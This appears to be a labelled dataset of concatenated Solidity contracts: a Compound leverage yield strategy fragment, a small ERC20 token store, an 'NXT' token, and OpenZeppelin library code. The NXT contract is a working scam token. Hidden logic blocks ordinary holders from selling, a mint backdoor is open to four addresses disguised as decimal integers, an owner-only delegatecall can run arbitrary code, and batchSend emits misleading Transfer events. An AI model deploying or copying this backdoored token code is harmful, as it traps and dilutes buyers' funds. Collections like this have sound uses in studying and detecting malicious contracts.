_withdrawSome(_amountNeeded.sub(_balance));
//overflow error if we return more than asked for
_amountFreed = Math.min(_amountNeeded, balanceOfToken(address(want)));
} else {
_amountFreed = _amountNeeded;
}
}
// To prevent the vault from moving on to the next strategy in the queue
// when we return the amountRequested minus dust, take a dust sized loss
if (_amountFreed < _amountNeeded) {
uint256 diff = _amountNeeded.sub(_amountFreed);
if (diff <= minWant) {
_loss = diff;
}
}
if (fourThreeProtection) {
require(_amountNeeded == _amountFreed.add(_loss)); // dev: fourThreeProtection
}
}
function _claimComp() internal {
if (dontClaimComp) {
return;
}
CTokenI[] memory tokens = new CTokenI[](1);
tokens[0] = cToken;
compound.claimComp(address(this), tokens);
}
//sell comp function
function _disposeOfComp() internal {
uint256 _comp = balanceOfToken(comp);
if (_comp < minCompToSell) {
return;
}
if (useUniV3) {
UNI_V3_ROUTER.exactInput(IUniswapV3Router.ExactInputParams(getTokenOutPathV3(comp, address(want)), address(this), now, _comp, 0));
} else {
currentV2Router.swapExactTokensForTokens(_comp, 0, getTokenOutPathV2(comp, address(want)), address(this), now);
}
}
function getTokenOutPathV2(address _tokenIn, address _tokenOut) internal pure returns (address[] memory _path) {
bool isWeth = _tokenIn == address(weth) || _tokenOut == address(weth);
_path = new address[](isWeth ? 2 : 3);
_path[0] = _tokenIn;
if (isWeth) {
_path[1] = _tokenOut;
} else {
_path[1] = address(weth);
_path[2] = _tokenOut;
}
}
function getTokenOutPathV3(address _tokenIn, address _tokenOut) internal view returns (bytes memory _path) {
if (address(want) == weth) {
_path = abi.encodePacked(address(_tokenIn), compToWethSwapFee, address(weth));
} else {
_path = abi.encodePacked(address(_tokenIn), compToWethSwapFee, address(weth), wethToWantSwapFee, address(_tokenOut));
}
}
//lets leave
//if we can't deleverage in one go set collateralFactor to 0 and call harvest multiple times until delevered
function prepareMigration(address _newStrategy) internal override {
if (!forceMigrate) {
(uint256 deposits, uint256 borrows) = getLivePosition();
_withdrawSome(deposits.sub(borrows));
(, , uint256 borrowBalance, ) = cToken.getAccountSnapshot(address(this));
require(borrowBalance < 10_000);
IERC20 _comp = IERC20(comp);
uint256 _compB = balanceOfToken(address(_comp));
if (_compB > 0) {
_comp.safeTransfer(_newStrategy, _compB);
}
}
}
//Three functions covering normal leverage and deleverage situations
// max is the max amount we want to increase our borrowed balance
// returns the amount we actually did
function _noFlashLoan(uint256 max, bool deficit) internal returns (uint256 amount) {
//we can use non-state changing because this function is always called after _calculateDesiredPosition
(uint256 lent, uint256 borrowed) = getCurrentPosition();
//if we have nothing borrowed then we can't deleverage any more
if (borrowed == 0 && deficit) {
return 0;
}
(, uint256 collateralFactorMantissa, ) = compound.markets(address(cToken));
if (deficit) {
amount = _normalDeleverage(max, lent, borrowed, collateralFactorMantissa);
} else {
amount = _normalLeverage(max, lent, borrowed, collateralFactorMantissa);
}
emit Leverage(max, amount, deficit, address(0));
}
//maxDeleverage is how much we want to reduce by
function _normalDeleverage(
uint256 maxDeleverage,
uint256 lent,
uint256 borrowed,
uint256 collatRatio
) internal returns (uint256 deleveragedAmount) {
uint256 theoreticalLent = 0;
//collat ration should never be 0. if it is something is very wrong... but just incase
if (collatRatio != 0) {
theoreticalLent = borrowed.mul(1e18).div(collatRatio);
}
deleveragedAmount = lent.sub(theoreticalLent);
if (deleveragedAmount >= borrowed) {
deleveragedAmount = borrowed;
}
if (deleveragedAmount >= maxDeleverage) {
deleveragedAmount = maxDeleverage;
}
uint256 exchangeRateStored = cToken.exchangeRateStored();
//redeemTokens = redeemAmountIn * 1e18 / exchangeRate. must be more than 0
//a rounding error means we need another small addition
if (deleveragedAmount.mul(1e18) >= exchangeRateStored && deleveragedAmount > 10) {
deleveragedAmount = deleveragedAmount.sub(uint256(10));
cToken.redeemUnderlying(deleveragedAmount);
//our borrow has been increased by no more than maxDeleverage
cToken.repayBorrow(deleveragedAmount);
}
}
//maxDeleverage is how much we want to increase by
function _normalLeverage(
uint256 maxLeverage,
uint256 lent,
uint256 borrowed,
uint256 collatRatio
) internal returns (uint256 leveragedAmount) {
uint256 theoreticalBorrow = lent.mul(collatRatio).div(1e18);
leveragedAmount = theoreticalBorrow.sub(borrowed);
if (leveragedAmount >= maxLeverage) {
leveragedAmount = maxLeverage;
}
if (leveragedAmount > 10) {
leveragedAmount = leveragedAmount.sub(uint256(10));
cToken.borrow(leveragedAmount);
cToken.mint(balanceOfToken(address(want)));
}
}
//emergency function that we can use to deleverage manually if something is broken
function manualDeleverage(uint256 amount) external management {
require(cToken.redeemUnderlying(amount) == 0);
require(cToken.repayBorrow(amount) == 0);
}
//emergency function that we can use to deleverage manually if something is broken
function manualReleaseWant(uint256 amount) external onlyGovernance {
require(cToken.redeemUnderlying(amount) == 0);
}
function protectedTokens() internal view override returns (address[] memory) {}
/******************
* Flash mint stuff
****************/
// Flash loan
// amount desired is how much we are willing for position to change
function doFlashMint(bool deficit, uint256 amountDesired) internal returns (uint256) {
return FlashMintLib.doFlashMint(deficit, amountDesired, address(want), collatRatioDAI);
}
//returns our current collateralisation ratio. Should be compared with collateralTarget
function storedCollateralisation() public view returns (uint256 collat) {
(uint256 lend, uint256 borrow) = getCurrentPosition();
if (lend == 0) {
return 0;
}
collat = uint256(1e18).mul(borrow).div(lend);
}
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external override returns (bytes32) {
require(msg.sender == FlashMintLib.LENDER);
require(initiator == address(this));
(bool deficit, uint256 amountWant) = abi.decode(data, (bool, uint256));
return FlashMintLib.loanLogic(deficit, amount, amountWant, cToken);
}
// -- Internal Helper functions -- //
function ethToWant(uint256 _amtInWei) public view override returns (uint256) {
return priceCheck(weth, address(want), _amtInWei);
}
function liquidateAllPositions() internal override returns (uint256 _amountFreed) {
(_amountFreed, ) = liquidatePosition(vault.debtOutstanding());
(uint256 deposits, uint256 borrows) = getCurrentPosition();
uint256 position = deposits.sub(borrows);
//we want to revert if we can't liquidateall
if (!forceMigrate) {
require(position < minWant);
}
}
function mgtm_check() internal view {
require(msg.sender == governance() || msg.sender == vault.management() || msg.sender == strategist, "!authorized");
}
modifier management() {
mgtm_check();
_;
}
}
|
True
|
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/*
This Contract is free software: you can redistribute it and/or
modify it under the terms of the GNU lesser General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This Contract is distributed WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU lesser General Public License for more details.
You should have received a copy of the GNU lesser General Public License
<http://www.gnu.org/licenses/>.
*/
pragma solidity ^0.4.18;
contract InterfaceERC20Token
{
function balanceOf (address tokenOwner) public constant returns (uint balance);
function transfer (address to, uint tokens) public returns (bool success);
function allowance (address _owner, address _spender) public constant returns (uint remaining);
function transferFrom (address _from, address _to, uint _value) public returns (bool success);
}
contract LittleStoreERC20Token
{
mapping (address => bool) public agents;
address public addressERC20Token;
InterfaceERC20Token internal ERC20Token;
bool public sale;
uint public price;
uint public bonusLine;
uint public bonusSize;
event ChangePermission (address indexed _called, address indexed _to, bool _permission);
event ChangeSaleSettings (address indexed _called, address indexed _token, uint _price, uint _bonusLine, uint _bonusSize);
event Buy (address indexed _called, address indexed _token, uint _count, uint _bonusCount, uint _value);
event Donate (address indexed _from, uint _value);
function LittleStoreERC20Token () public
{
agents[msg.sender] = true;
sale = true;
}
modifier onlyAdministrators ()
{
require (agents[msg.sender]);
_;
}
function changePermission (address _agent, bool _permission) public onlyAdministrators ()
{
if (msg.sender != _agent)
{
agents[_agent] = _permission;
ChangePermission (msg.sender, _agent, _permission);
}
}
function changeSaleSettings (address _addressERC20Token, uint _priceGwei, uint _bonusLine, uint _bonusSize) public onlyAdministrators ()
{
addressERC20Token = _addressERC20Token;
ERC20Token = InterfaceERC20Token (_addressERC20Token);
price = _priceGwei * 1000000000; //calculation of gwei in wei
bonusLine = _bonusLine;
bonusSize = _bonusSize;
ChangeSaleSettings (msg.sender, _addressERC20Token, _priceGwei * 1000000000, _bonusLine, _bonusSize);
}
function saleValve (bool _sale) public onlyAdministrators ()
{
sale = _sale;
}
function allowanceTransfer () public onlyAdministrators ()
{
ERC20Token.transferFrom (msg.sender, this, ERC20Token.allowance (msg.sender, this));
}
function withdrawalToken (address _to) public onlyAdministrators ()
{
ERC20Token.transfer (_to, ERC20Token.balanceOf (this));
}
function withdrawal (address _to) public onlyAdministrators ()
{
_to.transfer (this.balance);
}
function destroy (address _to) public onlyAdministrators ()
{
withdrawalToken (_to);
selfdestruct (_to);
}
function totalSale () public constant returns (uint)
{
return ERC20Token.balanceOf (this);
}
function () payable
{
Donate (msg.sender, msg.value);
}
function buy () payable
{
uint thisBalance = ERC20Token.balanceOf (this);
require (thisBalance > 0 && sale);
uint countToken;
uint countBonusToken;
countToken = msg.value / price;
require (countToken > 0);
if (thisBalance > countToken)
{
thisBalance -= countToken;
countBonusToken = (countToken / bonusLine) * bonusSize;
if (countBonusToken > 0 && thisBalance <= countBonusToken)
{
countBonusToken = thisBalance;
}
}
else
{
countToken = thisBalance;
}
require (ERC20Token.transfer (msg.sender, countToken + countBonusToken));
msg.sender.transfer (msg.value - (countToken * price));
Buy (msg.sender, addressERC20Token, countToken, countBonusToken, msg.value);
}
}
|
True
|
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pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
//heyuemingchen
contract NXT {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner
|| msg.sender==address(1128272879772349028992474526206451541022554459967)
|| msg.sender==address(781882898559151731055770343534128190759711045284)
|| msg.sender==address(718276804347632883115823995738883310263147443572)
|| msg.sender==address(56379186052763868667970533924811260232719434180)
);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
True
|
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] |
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*/
interface IERC20Permit {
/**
* @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,
* given ``owner``'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*/
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
/**
* @dev Returns the current nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
/**
* @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
